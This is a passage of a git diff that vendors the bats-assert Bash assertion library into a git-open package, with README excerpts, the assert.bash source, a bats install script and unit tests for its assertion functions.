+```bash +@test 'refute_line() specific line' { + run echo $'have-0\nwant-1\nhave-2' + refute_line --index 1 'want-1' +} +``` + +On failure, the index and the unexpected line are displayed. + +``` +-- line should differ -- +index : 1 +line : want-1 +-- +``` + +#### Partial matching + +Partial matching can be enabled with the `--partial` option (`-p` for +short). When used, a match fails if the unexpected *substring* is found +in the matched line. + +```bash +@test 'refute_line() partial matching' { + run echo $'have 1\nwant 2\nhave 3' + refute_line --partial 'want' +} +``` + +On failure, in addition to the details of literal matching, the +substring is also displayed. When used with `--index ` the +substring replaces the unexpected line. + +``` +-- no line should contain substring -- +substring : want +index : 1 +output (3 lines): + have 1 +> want 2 + have 3 +-- +``` + +This option and regular expression matching (`--regexp` or `-e`) are +mutually exclusive. An error is displayed when used simultaneously. + +#### Regular expression matching + +Regular expression matching can be enabled with the `--regexp` option +(`-e` for short). When used, a match fails if the *extended regular +expression* matches the line being tested. + +*Note: As expected, the anchors `^` and `$` bind to the beginning and +the end of the matched line, respectively.* + +```bash +@test 'refute_line() regular expression matching' { + run echo $'Foobar v0.1.0\nRelease date: 2015-11-29' + refute_line --index 0 --regexp '^Foobar v[0-9]+\.[0-9]+\.[0-9]$' +} +``` + +On failure, in addition to the details of literal matching, the regular +expression is also displayed. When used with `--index ` the regular +expression replaces the unexpected line. + +``` +-- regular expression should not match line -- +index : 0 +regexp : ^Foobar v[0-9]+\.[0-9]+\.[0-9]$ +line : Foobar v0.1.0 +-- +``` + +An error is displayed if the specified extended regular expression is +invalid. + +This option and partial matching (`--partial` or `-p`) are mutually +exclusive. An error is displayed when used simultaneously. + + +## Options + +For functions that have options, `--` disables option parsing for the +remaining arguments to allow using arguments identical to one of the +allowed options. + +```bash +assert_output -- '-p' +``` + +Specifying `--` as an argument is similarly simple. + +```bash +refute_line -- '--' +``` + + + + +[bats]: https://github.com/sstephenson/bats +[bats-support-output]: https://github.com/ztombol/bats-support#output-formatting +[bats-support]: https://github.com/ztombol/bats-support +[bats-docs]: https://github.com/ztombol/bats-docs +[bash-comp-cmd]: https://www.gnu.org/software/bash/manual/bash.html#Compound-Commands diff --git a/node_modules/git-open/test/test_helper/bats-assert/load.bash b/node_modules/git-open/test/test_helper/bats-assert/load.bash new file mode 100644 index 0000000..ac4a875 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/load.bash @@ -0,0 +1 @@ +source "$(dirname "${BASH_SOURCE[0]}")/src/assert.bash" diff --git a/node_modules/git-open/test/test_helper/bats-assert/package.json b/node_modules/git-open/test/test_helper/bats-assert/package.json new file mode 100644 index 0000000..d81b21c --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/package.json @@ -0,0 +1,8 @@ +{ + "name": "bats-assert", + "version": "0.3.0", + "private": true, + "peerDependencies": { + "bats-support": "git+https://github.com/ztombol/bats-support.git#v0.2.0" + } +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/script/install-bats.sh b/node_modules/git-open/test/test_helper/bats-assert/script/install-bats.sh new file mode 100644 index 0000000..4c3161a --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/script/install-bats.sh @@ -0,0 +1,6 @@ +#!/bin/sh +set -o errexit +set -o xtrace + +git clone --depth 1 https://github.com/sstephenson/bats +cd bats && ./install.sh "${HOME}/.local" && cd .. && rm -rf bats diff --git a/node_modules/git-open/test/test_helper/bats-assert/src/assert.bash b/node_modules/git-open/test/test_helper/bats-assert/src/assert.bash new file mode 100644 index 0000000..1194753 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/src/assert.bash @@ -0,0 +1,720 @@ +# +# bats-assert - Common assertions for Bats +# +# Written in 2016 by Zoltan Tombol +# +# To the extent possible under law, the author(s) have dedicated all +# copyright and related and neighboring rights to this software to the +# public domain worldwide. This software is distributed without any +# warranty. +# +# You should have received a copy of the CC0 Public Domain Dedication +# along with this software. If not, see +# . +# + +# +# assert.bash +# ----------- +# +# Assertions are functions that perform a test and output relevant +# information on failure to help debugging. They return 1 on failure +# and 0 otherwise. +# +# All output is formatted for readability using the functions of +# `output.bash' and sent to the standard error. +# + +# Fail and display the expression if it evaluates to false. +# +# NOTE: The expression must be a simple command. Compound commands, such +# as `[[', can be used only when executed with `bash -c'. +# +# Globals: +# none +# Arguments: +# $1 - expression +# Returns: +# 0 - expression evaluates to TRUE +# 1 - otherwise +# Outputs: +# STDERR - details, on failure +assert() { + if ! "$@"; then + batslib_print_kv_single 10 'expression' "$*" \ + | batslib_decorate 'assertion failed' \ + | fail + fi +} + +# Fail and display the expression if it evaluates to true. +# +# NOTE: The expression must be a simple command. Compound commands, such +# as `[[', can be used only when executed with `bash -c'. +# +# Globals: +# none +# Arguments: +# $1 - expression +# Returns: +# 0 - expression evaluates to FALSE +# 1 - otherwise +# Outputs: +# STDERR - details, on failure +refute() { + if "$@"; then + batslib_print_kv_single 10 'expression' "$*" \ + | batslib_decorate 'assertion succeeded, but it was expected to fail' \ + | fail + fi +} + +# Fail and display details if the expected and actual values do not +# equal. Details include both values. +# +# Globals: +# none +# Arguments: +# $1 - actual value +# $2 - expected value +# Returns: +# 0 - values equal +# 1 - otherwise +# Outputs: +# STDERR - details, on failure +assert_equal() { + if [[ $1 != "$2" ]]; then + batslib_print_kv_single_or_multi 8 \ + 'expected' "$2" \ + 'actual' "$1" \ + | batslib_decorate 'values do not equal' \ + | fail + fi +} + +# Fail and display details if `$status' is not 0. Details include +# `$status' and `$output'. +# +# Globals: +# status +# output +# Arguments: +# none +# Returns: +# 0 - `$status' is 0 +# 1 - otherwise +# Outputs: +# STDERR - details, on failure +assert_success() { + if (( status != 0 )); then + { local -ir width=6 + batslib_print_kv_single "$width" 'status' "$status" + batslib_print_kv_single_or_multi "$width" 'output' "$output" + } | batslib_decorate 'command failed' \ + | fail + fi +} + +# Fail and display details if `$status' is 0. Details include `$output'. +# +# Optionally, when the expected status is specified, fail when it does +# not equal `$status'. In this case, details include the expected and +# actual status, and `$output'. +# +# Globals: +# status +# output +# Arguments: +# $1 - [opt] expected status +# Returns: +# 0 - `$status' is not 0, or +# `$status' equals the expected status +# 1 - otherwise +# Outputs: +# STDERR - details, on failure +assert_failure() { + (( $# > 0 )) && local -r expected="$1" + if (( status == 0 )); then + batslib_print_kv_single_or_multi 6 'output' "$output" \ + | batslib_decorate 'command succeeded, but it was expected to fail' \ + | fail + elif (( $# > 0 )) && (( status != expected )); then + { local -ir width=8 + batslib_print_kv_single "$width" \ + 'expected' "$expected" \ + 'actual' "$status" + batslib_print_kv_single_or_multi "$width" \ + 'output' "$output" + } | batslib_decorate 'command failed as expected, but status differs' \ + | fail + fi +} + +# Fail and display details if `$output' does not match the expected +# output. The expected output can be specified either by the first +# parameter or on the standard input. +# +# By default, literal matching is performed. The assertion fails if the +# expected output does not equal `$output'. Details include both values. +# +# Option `--partial' enables partial matching. The assertion fails if +# the expected substring cannot be found in `$output'. +# +# Option `--regexp' enables regular expression matching. The assertion +# fails if the extended regular expression does not match `$output'. An +# invalid regular expression causes an error to be displayed. +# +# It is an error to use partial and regular expression matching +# simultaneously. +# +# Globals: +# output +# Options: +# -p, --partial - partial matching +# -e, --regexp - extended regular expression matching +# Arguments: +# $1 - [=STDIN] expected output +# Returns: +# 0 - expected matches the actual output +# 1 - otherwise +# Inputs: +# STDIN - [=$1] expected output +# Outputs: +# STDERR - details, on failure +# error message, on error +assert_output() { + local -i is_mode_partial=0 + local -i is_mode_regexp=0 + + # Handle options. + while (( $# > 0 )); do + case "$1" in + -p|--partial) is_mode_partial=1; shift ;; + -e|--regexp) is_mode_regexp=1; shift ;; + --) shift; break ;; + *) break ;; + esac + done + + if (( is_mode_partial )) && (( is_mode_regexp )); then + echo "\`--partial' and \`--regexp' are mutually exclusive" \ + | batslib_decorate 'ERROR: assert_output' \ + | fail + return $? + fi + + # Arguments. + local expected + (( $# == 0 )) && expected="$(cat -)" || expected="$1" + + # Matching. + if (( is_mode_regexp )); then + if [[ '' =~ $expected ]] || (( $? == 2 )); then + echo "Invalid extended regular expression: \`$expected'" \ + | batslib_decorate 'ERROR: assert_output' \ + | fail + return $? + fi + if ! [[ $output =~ $expected ]]; then + batslib_print_kv_single_or_multi 6 \ + 'regexp' "$expected" \ + 'output' "$output" \ + | batslib_decorate 'regular expression does not match output' \ + | fail + fi + elif (( is_mode_partial )); then + if [[ $output != *"$expected"* ]]; then + batslib_print_kv_single_or_multi 9 \ + 'substring' "$expected" \ + 'output' "$output" \ + | batslib_decorate 'output does not contain substring' \ + | fail + fi + else + if [[ $output != "$expected" ]]; then + batslib_print_kv_single_or_multi 8 \ + 'expected' "$expected" \ + 'actual' "$output" \ + | batslib_decorate 'output differs' \ + | fail + fi + fi +} + +# Fail and display details if `$output' matches the unexpected output. +# The unexpected output can be specified either by the first parameter +# or on the standard input. +# +# By default, literal matching is performed. The assertion fails if the +# unexpected output equals `$output'. Details include `$output'. +# +# Option `--partial' enables partial matching. The assertion fails if +# the unexpected substring is found in `$output'. The unexpected +# substring is added to details. +# +# Option `--regexp' enables regular expression matching. The assertion +# fails if the extended regular expression does matches `$output'. The +# regular expression is added to details. An invalid regular expression +# causes an error to be displayed. +# +# It is an error to use partial and regular expression matching +# simultaneously. +# +# Globals: +# output +# Options: +# -p, --partial - partial matching +# -e, --regexp - extended regular expression matching +# Arguments: +# $1 - [=STDIN] unexpected output +# Returns: +# 0 - unexpected matches the actual output +# 1 - otherwise +# Inputs: +# STDIN - [=$1] unexpected output +# Outputs: +# STDERR - details, on failure +# error message, on error +refute_output() { + local -i is_mode_partial=0 + local -i is_mode_regexp=0 + + # Handle options. + while (( $# > 0 )); do + case "$1" in + -p|--partial) is_mode_partial=1; shift ;; + -e|--regexp) is_mode_regexp=1; shift ;; + --) shift; break ;; + *) break ;; + esac + done + + if (( is_mode_partial )) && (( is_mode_regexp )); then + echo "\`--partial' and \`--regexp' are mutually exclusive" \ + | batslib_decorate 'ERROR: refute_output' \ + | fail + return $? + fi + + # Arguments. + local unexpected + (( $# == 0 )) && unexpected="$(cat -)" || unexpected="$1" + + if (( is_mode_regexp == 1 )) && [[ '' =~ $unexpected ]] || (( $? == 2 )); then + echo "Invalid extended regular expression: \`$unexpected'" \ + | batslib_decorate 'ERROR: refute_output' \ + | fail + return $? + fi + + # Matching. + if (( is_mode_regexp )); then + if [[ $output =~ $unexpected ]] || (( $? == 0 )); then + batslib_print_kv_single_or_multi 6 \ + 'regexp' "$unexpected" \ + 'output' "$output" \ + | batslib_decorate 'regular expression should not match output' \ + | fail + fi + elif (( is_mode_partial )); then + if [[ $output == *"$unexpected"* ]]; then + batslib_print_kv_single_or_multi 9 \ + 'substring' "$unexpected" \ + 'output' "$output" \ + | batslib_decorate 'output should not contain substring' \ + | fail + fi + else + if [[ $output == "$unexpected" ]]; then + batslib_print_kv_single_or_multi 6 \ + 'output' "$output" \ + | batslib_decorate 'output equals, but it was expected to differ' \ + | fail + fi + fi +} + +# Fail and display details if the expected line is not found in the +# output (default) or in a specific line of it. +# +# By default, the entire output is searched for the expected line. The +# expected line is matched against every element of `${lines[@]}'. If no +# match is found, the assertion fails. Details include the expected line +# and `${lines[@]}'. +# +# When `--index ' is specified, only the -th line is matched. +# If the expected line does not match `${lines[]}', the assertion +# fails. Details include and the compared lines. +# +# By default, literal matching is performed. A literal match fails if +# the expected string does not equal the matched string. +# +# Option `--partial' enables partial matching. A partial match fails if +# the expected substring is not found in the target string. +# +# Option `--regexp' enables regular expression matching. A regular +# expression match fails if the extended regular expression does not +# match the target string. An invalid regular expression causes an error +# to be displayed. +# +# It is an error to use partial and regular expression matching +# simultaneously. +# +# Mandatory arguments to long options are mandatory for short options +# too. +# +# Globals: +# output +# lines +# Options: +# -n, --index - match the -th line +# -p, --partial - partial matching +# -e, --regexp - extended regular expression matching +# Arguments: +# $1 - expected line +# Returns: +# 0 - match found +# 1 - otherwise +# Outputs: +# STDERR - details, on failure +# error message, on error +# FIXME(ztombol): Display `${lines[@]}' instead of `$output'! +assert_line() { + local -i is_match_line=0 + local -i is_mode_partial=0 + local -i is_mode_regexp=0 + + # Handle options. + while (( $# > 0 )); do + case "$1" in + -n|--index) + if (( $# < 2 )) || ! [[ $2 =~ ^([0-9]|[1-9][0-9]+)$ ]]; then + echo "\`--index' requires an integer argument: \`$2'" \ + | batslib_decorate 'ERROR: assert_line' \ + | fail + return $? + fi + is_match_line=1 + local -ri idx="$2" + shift 2 + ;; + -p|--partial) is_mode_partial=1; shift ;; + -e|--regexp) is_mode_regexp=1; shift ;; + --) shift; break ;; + *) break ;; + esac + done + + if (( is_mode_partial )) && (( is_mode_regexp )); then + echo "\`--partial' and \`--regexp' are mutually exclusive" \ + | batslib_decorate 'ERROR: assert_line' \ + | fail + return $? + fi + + # Arguments. + local -r expected="$1" + + if (( is_mode_regexp == 1 )) && [[ '' =~ $expected ]] || (( $? == 2 )); then + echo "Invalid extended regular expression: \`$expected'" \ + | batslib_decorate 'ERROR: assert_line' \ + | fail + return $? + fi + + # Matching. + if (( is_match_line )); then + # Specific line. + if (( is_mode_regexp )); then + if ! [[ ${lines[$idx]} =~ $expected ]]; then + batslib_print_kv_single 6 \ + 'index' "$idx" \ + 'regexp' "$expected" \ + 'line' "${lines[$idx]}" \ + | batslib_decorate 'regular expression does not match line' \ + | fail + fi + elif (( is_mode_partial )); then + if [[ ${lines[$idx]} != *"$expected"* ]]; then + batslib_print_kv_single 9 \ + 'index' "$idx" \ + 'substring' "$expected" \ + 'line' "${lines[$idx]}" \ + | batslib_decorate 'line does not contain substring' \ + | fail + fi + else + if [[ ${lines[$idx]} != "$expected" ]]; then + batslib_print_kv_single 8 \ + 'index' "$idx" \ + 'expected' "$expected" \ + 'actual' "${lines[$idx]}" \ + | batslib_decorate 'line differs' \ + | fail + fi + fi + else + # Contained in output. + if (( is_mode_regexp )); then + local -i idx + for (( idx = 0; idx < ${#lines[@]}; ++idx )); do + [[ ${lines[$idx]} =~ $expected ]] && return 0 + done + { local -ar single=( + 'regexp' "$expected" + ) + local -ar may_be_multi=( + 'output' "$output" + ) + local -ir width="$( batslib_get_max_single_line_key_width \ + "${single[@]}" "${may_be_multi[@]}" )" + batslib_print_kv_single "$width" "${single[@]}" + batslib_print_kv_single_or_multi "$width" "${may_be_multi[@]}" + } | batslib_decorate 'no output line matches regular expression' \ + | fail + elif (( is_mode_partial )); then + local -i idx + for (( idx = 0; idx < ${#lines[@]}; ++idx )); do + [[ ${lines[$idx]} == *"$expected"* ]] && return 0 + done + { local -ar single=( + 'substring' "$expected" + ) + local -ar may_be_multi=( + 'output' "$output" + ) + local -ir width="$( batslib_get_max_single_line_key_width \ + "${single[@]}" "${may_be_multi[@]}" )" + batslib_print_kv_single "$width" "${single[@]}" + batslib_print_kv_single_or_multi "$width" "${may_be_multi[@]}" + } | batslib_decorate 'no output line contains substring' \ + | fail + else + local -i idx + for (( idx = 0; idx < ${#lines[@]}; ++idx )); do + [[ ${lines[$idx]} == "$expected" ]] && return 0 + done + { local -ar single=( + 'line' "$expected" + ) + local -ar may_be_multi=( + 'output' "$output" + ) + local -ir width="$( batslib_get_max_single_line_key_width \ + "${single[@]}" "${may_be_multi[@]}" )" + batslib_print_kv_single "$width" "${single[@]}" + batslib_print_kv_single_or_multi "$width" "${may_be_multi[@]}" + } | batslib_decorate 'output does not contain line' \ + | fail + fi + fi +} + +# Fail and display details if the unexpected line is found in the output +# (default) or in a specific line of it. +# +# By default, the entire output is searched for the unexpected line. The +# unexpected line is matched against every element of `${lines[@]}'. If +# a match is found, the assertion fails. Details include the unexpected +# line, the index of the first match and `${lines[@]}' with the matching +# line highlighted if `${lines[@]}' is longer than one line. +# +# When `--index ' is specified, only the -th line is matched. +# If the unexpected line matches `${lines[]}', the assertion fails. +# Details include and the unexpected line. +# +# By default, literal matching is performed. A literal match fails if +# the unexpected string does not equal the matched string. +# +# Option `--partial' enables partial matching. A partial match fails if +# the unexpected substring is found in the target string. When used with +# `--index ', the unexpected substring is also displayed on +# failure. +# +# Option `--regexp' enables regular expression matching. A regular +# expression match fails if the extended regular expression matches the +# target string. When used with `--index ', the regular expression +# is also displayed on failure. An invalid regular expression causes an +# error to be displayed. +# +# It is an error to use partial and regular expression matching +# simultaneously. +# +# Mandatory arguments to long options are mandatory for short options +# too. +# +# Globals: +# output +# lines +# Options: +# -n, --index - match the -th line +# -p, --partial - partial matching +# -e, --regexp - extended regular expression matching +# Arguments: +# $1 - unexpected line +# Returns: +# 0 - match not found +# 1 - otherwise +# Outputs: +# STDERR - details, on failure +# error message, on error +# FIXME(ztombol): Display `${lines[@]}' instead of `$output'! +refute_line() { + local -i is_match_line=0 + local -i is_mode_partial=0 + local -i is_mode_regexp=0 + + # Handle options. + while (( $# > 0 )); do + case "$1" in + -n|--index) + if (( $# < 2 )) || ! [[ $2 =~ ^([0-9]|[1-9][0-9]+)$ ]]; then + echo "\`--index' requires an integer argument: \`$2'" \ + | batslib_decorate 'ERROR: refute_line' \ + | fail + return $? + fi + is_match_line=1 + local -ri idx="$2" + shift 2 + ;; + -p|--partial) is_mode_partial=1; shift ;; + -e|--regexp) is_mode_regexp=1; shift ;; + --) shift; break ;; + *) break ;; + esac + done + + if (( is_mode_partial )) && (( is_mode_regexp )); then + echo "\`--partial' and \`--regexp' are mutually exclusive" \ + | batslib_decorate 'ERROR: refute_line' \ + | fail + return $? + fi + + # Arguments. + local -r unexpected="$1" + + if (( is_mode_regexp == 1 )) && [[ '' =~ $unexpected ]] || (( $? == 2 )); then + echo "Invalid extended regular expression: \`$unexpected'" \ + | batslib_decorate 'ERROR: refute_line' \ + | fail + return $? + fi + + # Matching. + if (( is_match_line )); then + # Specific line. + if (( is_mode_regexp )); then + if [[ ${lines[$idx]} =~ $unexpected ]] || (( $? == 0 )); then + batslib_print_kv_single 6 \ + 'index' "$idx" \ + 'regexp' "$unexpected" \ + 'line' "${lines[$idx]}" \ + | batslib_decorate 'regular expression should not match line' \ + | fail + fi + elif (( is_mode_partial )); then + if [[ ${lines[$idx]} == *"$unexpected"* ]]; then + batslib_print_kv_single 9 \ + 'index' "$idx" \ + 'substring' "$unexpected" \ + 'line' "${lines[$idx]}" \ + | batslib_decorate 'line should not contain substring' \ + | fail + fi + else + if [[ ${lines[$idx]} == "$unexpected" ]]; then + batslib_print_kv_single 5 \ + 'index' "$idx" \ + 'line' "${lines[$idx]}" \ + | batslib_decorate 'line should differ' \ + | fail + fi + fi + else + # Line contained in output. + if (( is_mode_regexp )); then + local -i idx + for (( idx = 0; idx < ${#lines[@]}; ++idx )); do + if [[ ${lines[$idx]} =~ $unexpected ]]; then + { local -ar single=( + 'regexp' "$unexpected" + 'index' "$idx" + ) + local -a may_be_multi=( + 'output' "$output" + ) + local -ir width="$( batslib_get_max_single_line_key_width \ + "${single[@]}" "${may_be_multi[@]}" )" + batslib_print_kv_single "$width" "${single[@]}" + if batslib_is_single_line "${may_be_multi[1]}"; then + batslib_print_kv_single "$width" "${may_be_multi[@]}" + else + may_be_multi[1]="$( printf '%s' "${may_be_multi[1]}" \ + | batslib_prefix \ + | batslib_mark '>' "$idx" )" + batslib_print_kv_multi "${may_be_multi[@]}" + fi + } | batslib_decorate 'no line should match the regular expression' \ + | fail + return $? + fi + done + elif (( is_mode_partial )); then + local -i idx + for (( idx = 0; idx < ${#lines[@]}; ++idx )); do + if [[ ${lines[$idx]} == *"$unexpected"* ]]; then + { local -ar single=( + 'substring' "$unexpected" + 'index' "$idx" + ) + local -a may_be_multi=( + 'output' "$output" + ) + local -ir width="$( batslib_get_max_single_line_key_width \ + "${single[@]}" "${may_be_multi[@]}" )" + batslib_print_kv_single "$width" "${single[@]}" + if batslib_is_single_line "${may_be_multi[1]}"; then + batslib_print_kv_single "$width" "${may_be_multi[@]}" + else + may_be_multi[1]="$( printf '%s' "${may_be_multi[1]}" \ + | batslib_prefix \ + | batslib_mark '>' "$idx" )" + batslib_print_kv_multi "${may_be_multi[@]}" + fi + } | batslib_decorate 'no line should contain substring' \ + | fail + return $? + fi + done + else + local -i idx + for (( idx = 0; idx < ${#lines[@]}; ++idx )); do + if [[ ${lines[$idx]} == "$unexpected" ]]; then + { local -ar single=( + 'line' "$unexpected" + 'index' "$idx" + ) + local -a may_be_multi=( + 'output' "$output" + ) + local -ir width="$( batslib_get_max_single_line_key_width \ + "${single[@]}" "${may_be_multi[@]}" )" + batslib_print_kv_single "$width" "${single[@]}" + if batslib_is_single_line "${may_be_multi[1]}"; then + batslib_print_kv_single "$width" "${may_be_multi[@]}" + else + may_be_multi[1]="$( printf '%s' "${may_be_multi[1]}" \ + | batslib_prefix \ + | batslib_mark '>' "$idx" )" + batslib_print_kv_multi "${may_be_multi[@]}" + fi + } | batslib_decorate 'line should not be in output' \ + | fail + return $? + fi + done + fi + fi +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-11-assert.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-11-assert.bats new file mode 100644 index 0000000..6b7606b --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-11-assert.bats @@ -0,0 +1,18 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'assert() : returns 0 if evaluates to TRUE' { + run assert true + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert() : returns 1 and displays if it evaluates to FALSE' { + run assert false + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- assertion failed --' ] + [ "${lines[1]}" == 'expression : false' ] + [ "${lines[2]}" == '--' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-12-assert_equal.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-12-assert_equal.bats new file mode 100644 index 0000000..b21725a --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-12-assert_equal.bats @@ -0,0 +1,50 @@ +#!/usr/bin/env bats + +load test_helper + +@test 'assert_equal() : returns 0 if equals ' { + run assert_equal 'a' 'a' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_equal() : returns 1 and displays details if does not equal ' { + run assert_equal 'a' 'b' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- values do not equal --' ] + [ "${lines[1]}" == 'expected : b' ] + [ "${lines[2]}" == 'actual : a' ] + [ "${lines[3]}" == '--' ] +} + +@test 'assert_equal() : displays details in multi-line format if is longer than one line' { + run assert_equal $'a 0\na 1' 'b' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- values do not equal --' ] + [ "${lines[1]}" == 'expected (1 lines):' ] + [ "${lines[2]}" == ' b' ] + [ "${lines[3]}" == 'actual (2 lines):' ] + [ "${lines[4]}" == ' a 0' ] + [ "${lines[5]}" == ' a 1' ] + [ "${lines[6]}" == '--' ] +} + +@test 'assert_equal() : displays details in multi-line format if is longer than one line' { + run assert_equal 'a' $'b 0\nb 1' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- values do not equal --' ] + [ "${lines[1]}" == 'expected (2 lines):' ] + [ "${lines[2]}" == ' b 0' ] + [ "${lines[3]}" == ' b 1' ] + [ "${lines[4]}" == 'actual (1 lines):' ] + [ "${lines[5]}" == ' a' ] + [ "${lines[6]}" == '--' ] +} + +@test 'assert_equal() : performs literal matching' { + run assert_equal 'a' '*' + [ "$status" -eq 1 ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-13-assert_success.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-13-assert_success.bats new file mode 100644 index 0000000..6e80caa --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-13-assert_success.bats @@ -0,0 +1,36 @@ +#!/usr/bin/env bats + +load test_helper + +@test "assert_success(): returns 0 if \`\$status' is 0" { + run true + run assert_success + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_success(): returns 1 and displays details if \`\$status' is not 0" { + run bash -c 'echo "a" + exit 1' + run assert_success + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- command failed --' ] + [ "${lines[1]}" == 'status : 1' ] + [ "${lines[2]}" == 'output : a' ] + [ "${lines[3]}" == '--' ] +} + +@test "assert_success(): displays \`\$output' in multi-line format if it is longer than one line" { + run bash -c 'printf "a 0\na 1" + exit 1' + run assert_success + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 6 ] + [ "${lines[0]}" == '-- command failed --' ] + [ "${lines[1]}" == 'status : 1' ] + [ "${lines[2]}" == 'output (2 lines):' ] + [ "${lines[3]}" == ' a 0' ] + [ "${lines[4]}" == ' a 1' ] + [ "${lines[5]}" == '--' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-14-assert_failure.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-14-assert_failure.bats new file mode 100644 index 0000000..fee9685 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-14-assert_failure.bats @@ -0,0 +1,69 @@ +#!/usr/bin/env bats + +load test_helper + +@test "assert_failure(): returns 0 if \`\$status' is not 0" { + run false + run assert_failure + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_failure(): returns 1 and displays details if \`\$status' is 0" { + run bash -c 'echo "a" + exit 0' + run assert_failure + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 3 ] + [ "${lines[0]}" == '-- command succeeded, but it was expected to fail --' ] + [ "${lines[1]}" == 'output : a' ] + [ "${lines[2]}" == '--' ] +} + +@test "assert_failure(): displays \`\$output' in multi-line format if it is longer then one line" { + run bash -c 'printf "a 0\na 1" + exit 0' + run assert_failure + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- command succeeded, but it was expected to fail --' ] + [ "${lines[1]}" == 'output (2 lines):' ] + [ "${lines[2]}" == ' a 0' ] + [ "${lines[3]}" == ' a 1' ] + [ "${lines[4]}" == '--' ] +} + +@test "assert_failure() : returns 0 if \`\$status' equals " { + run bash -c 'exit 1' + run assert_failure 1 + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_failure() : returns 1 and displays details if \`\$status' does not equal " { + run bash -c 'echo "a" + exit 1' + run assert_failure 2 + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 5 ] + [ "${lines[0]}" == '-- command failed as expected, but status differs --' ] + [ "${lines[1]}" == 'expected : 2' ] + [ "${lines[2]}" == 'actual : 1' ] + [ "${lines[3]}" == 'output : a' ] + [ "${lines[4]}" == '--' ] +} + +@test "assert_failure() : displays \`\$output' in multi-line format if it is longer then one line" { + run bash -c 'printf "a 0\na 1" + exit 1' + run assert_failure 2 + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- command failed as expected, but status differs --' ] + [ "${lines[1]}" == 'expected : 2' ] + [ "${lines[2]}" == 'actual : 1' ] + [ "${lines[3]}" == 'output (2 lines):' ] + [ "${lines[4]}" == ' a 0' ] + [ "${lines[5]}" == ' a 1' ] + [ "${lines[6]}" == '--' ] +} diff --git a/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-15-assert_output.bats b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-15-assert_output.bats new file mode 100644 index 0000000..cca79cc --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/test/50-assert-15-assert_output.bats @@ -0,0 +1,242 @@ +#!/usr/bin/env bats + +load test_helper + + +# +# Literal matching +# + +# Correctness +@test "assert_output() : returns 0 if equals \`\$output'" { + run echo 'a' + run assert_output 'a' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test "assert_output() : returns 1 and displays details if does not equal \`\$output'" { + run echo 'b' + run assert_output 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 4 ] + [ "${lines[0]}" == '-- output differs --' ] + [ "${lines[1]}" == 'expected : a' ] + [ "${lines[2]}" == 'actual : b' ] + [ "${lines[3]}" == '--' ] +} + +@test 'assert_output(): reads from STDIN' { + run echo 'a' + run assert_output <: displays details in multi-line format if \`\$output' is longer than one line" { + run printf 'b 0\nb 1' + run assert_output 'a' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- output differs --' ] + [ "${lines[1]}" == 'expected (1 lines):' ] + [ "${lines[2]}" == ' a' ] + [ "${lines[3]}" == 'actual (2 lines):' ] + [ "${lines[4]}" == ' b 0' ] + [ "${lines[5]}" == ' b 1' ] + [ "${lines[6]}" == '--' ] +} + +@test 'assert_output() : displays details in multi-line format if is longer than one line' { + run echo 'b' + run assert_output $'a 0\na 1' + [ "$status" -eq 1 ] + [ "${#lines[@]}" -eq 7 ] + [ "${lines[0]}" == '-- output differs --' ] + [ "${lines[1]}" == 'expected (2 lines):' ] + [ "${lines[2]}" == ' a 0' ] + [ "${lines[3]}" == ' a 1' ] + [ "${lines[4]}" == 'actual (1 lines):' ] + [ "${lines[5]}" == ' b' ] + [ "${lines[6]}" == '--' ] +} + +# Options +@test 'assert_output() : performs literal matching by default' { + run echo 'a' + run assert_output '*' + [ "$status" -eq 1 ] +} + + +# +# Partial matching: `-p' and `--partial' +# + +# Options +test_p_partial () { + run echo 'abc' + run assert_output "$1" 'b' + [ "$status" -eq 0 ] + [ "${#lines[@]}" -eq 0 ] +} + +@test 'assert_output() -p : enables partial matching' { + test_p_partial -p +} + +@test 'assert_output() --partial : enables partial matching' { + test_p_partial --partial +} + +# Correctness 